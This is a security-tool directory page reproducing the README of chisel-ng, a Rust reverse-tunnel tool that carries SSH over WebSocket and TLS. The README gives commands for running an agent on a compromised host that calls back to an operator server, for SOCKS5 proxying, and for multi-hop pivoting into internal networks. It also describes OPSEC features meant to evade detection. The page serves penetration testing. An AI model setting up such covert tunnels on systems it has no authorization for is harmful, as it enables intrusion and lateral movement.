Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
chisel-ng — Chisel new generation, written in rust. SSH under WSS with some customization. | Kitploit
Tools/GitHubGitHub/nullsection/chisel-ng
IDS/IPS EvasionLateral MovementPost-ExploitationNetwork SecurityPenetration TestingCommand and ControlRed TeamingRemote Access Tool
GitHubnullsection/chisel-ng

chisel-ng

Chisel new generation, written in rust. SSH under WSS with some customization.

View Repository
1369419 months agoReviewed by Kitploit
Share
       _     _          _
   ___| |__ (_)___  ___| |      _ __   __ _
  / __| '_ \| / __|/ _ \ |_____| '_ \ / _` |
 | (__| | | | \__ \  __/ |_____| | | | (_| |
  \___|_| |_|_|___/\___|_|     |_| |_|\__, |
                                      |___/

chisel-ng

Rust License Windows Linux

A Rust implementation of chisel for penetration testing and red team operations. Establishes reverse tunnels over SSH-over-WebSocket-over-TLS, allowing operators to pivot through compromised hosts while blending with normal HTTPS traffic.


Table of Contents

  • Quick Start
  • Features
  • Architecture
  • Usage Reference
    • Server
    • Reverse Client
    • Bind Client
    • CLI Commands
  • Multi-Hop Pivoting
  • Technical Details
  • OPSEC Considerations
  • Disclaimer

Quick Start

Requirements

  • Rust 1.70+ (rustup.rs)

Build

git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release

Binaries output to target/release/: chisel-server, chisel-client, chisel-bind-client

Basic Usage

1. Start server (operator):

./chisel-server -p 'secret' -v

2. Run client (target):

./chisel-client -s operator.example.com:8443 -p 'secret' -k

3. Create tunnels:

chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080

4. Access internal services:

curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/

Features

  • SSH over WebSocket over TLS - Blends with normal HTTPS traffic
  • Pre-shared key authentication - Simple, secure authentication
  • Dynamic port forwarding - Create tunnels on-demand
  • SOCKS5 proxy - Dynamic routing through agents
  • Two client modes - Reverse (connects out) and bind (accepts inbound)
  • Cross-platform - Windows and Linux

Architecture

+------------------+              +----------------------------------+
|     Operator     |              |         Target Network           |
|                  |              |                                  |
| +--------------+ |     SSH      | +--------------+                 |
| |chisel-server |<---------------+-|chisel-client |                 |
| |    :8443     | |   (over TLS) | |  (reverse)   |                 |
| +--------------+ |              | +--------------+                 |
+------------------+              +----------------------------------+

Protocol Stack:

TCP -> TLS 1.3 -> WebSocket -> SSH -> Tunnel Data
                     ^
            appears as HTTPS

Client Modes:

  • Reverse (chisel-client) - Connects outbound to server
  • Bind (chisel-bind-client) - Listens for inbound; server uses connect command

Usage Reference

Server (Operator)
OPTIONS:
    -l, --listen <ADDR>      Listen address [default: 0.0.0.0:8443]
    -p, --psk <PSK>          Pre-shared key or passphrase [env: CHISEL_PSK]
        --cert <FILE>        TLS certificate (PEM)
        --key <FILE>         TLS private key (PEM)
        --generate-psk       Generate random PSK and exit
    -v, --verbose            Verbose output
Reverse Client (Agent)
OPTIONS:
    -s, --server <ADDR>      Server address (host:port)
    -p, --psk <PSK>          Pre-shared key or passphrase [env: CHISEL_PSK]
    -u, --user <LABEL>       Session label [default: agent]
    -k, --insecure           Skip TLS verification
        --no-reconnect       Disable auto-reconnect
    -i, --interval <SECS>    Reconnect interval [default: 30]
        --heartbeat <SECS>   Heartbeat interval [default: 30]
    -v, --verbose            Verbose output
Bind Client (Agent - Inbound Mode)

For targets that can accept inbound but not initiate outbound:

OPTIONS:
    -l, --listen <ADDR>      Listen address (e.g., 0.0.0.0:9000)
    -p, --psk <PSK>          Pre-shared key or passphrase [env: CHISEL_PSK]
    -u, --user <LABEL>       Session label [default: agent]
    -k, --insecure           Skip TLS verification
        --heartbeat <SECS>   Heartbeat interval [default: 30]
    -v, --verbose            Verbose output
Server CLI Commands

Main Menu:

sessions             List connected sessions
session <id>         Select a session
connect <ip:port>    Connect to bind client
disconnect <id>      Disconnect session (will reconnect)
kill <id>            Terminate client process

Session Menu:

tunnel <local>:<target_ip>:<target_port>    Create tunnel
tunnel --local <local>:<target>:<port>      Create tunnel (localhost only)
tunnel stop <port>                          Stop tunnel
tunnels                                     List tunnels
socks5 <port>                               Start SOCKS5 proxy
socks5 stop <port>                          Stop SOCKS5 proxy
ping                                        Measure latency
ps                                          List remote processes
netstat                                     List remote connections

Multi-Hop Pivoting

Reach isolated networks by chaining through existing sessions.

Scenario: DMZ host can reach operator. Internal host (10.0.0.50) can only be reached from DMZ.

+----------+        +-----------+        +------------+
| Operator |--SSH---| Session 1 |--TCP---| Session 2  |
|  Server  |        |   (DMZ)   |        | (INTERNAL) |
+----------+        +-----------+        +------------+

Step 1 - Start server (operator):

./chisel-server -p 'secret' -v

Step 2 - Run reverse client (DMZ host):

./chisel-client -s operator.example.com:8443 -p 'secret' -k

Step 3 - Run bind client (internal host at 10.0.0.50):

./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k

Step 4 - Create tunnel and connect (server CLI):

chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel started on 127.0.0.1:9000

[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Session 2 registered

chisel-ng> session 2
[session-2] INTERNAL > socks5 1080

Technical Details

How Tunnels Work

When creating a tunnel (tunnel 8080:192.168.1.100:80):

  1. Server binds local port 8080
  2. On connection, server sends CONNECT request to agent
  3. Agent connects to target and opens SSH direct-tcpip channel
  4. Data bridges bidirectionally
How SOCKS5 Works

Dynamic destinations via RFC 1928 handshake. Returns proper error codes for accurate port scanning results.


OPSEC Considerations

Binary Hardening

Release builds are hardened:

  • Silent operation - All logging compiles to no-ops
  • String obfuscation - Protocol strings XOR-encrypted at compile time
  • Symbol stripping - No debug symbols or source paths
  • Size optimization - ~3 MB vs ~15 MB debug
  • Panic behavior - Immediate abort, no stack traces
Operational Security
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    871
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    383
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    361
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    305
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →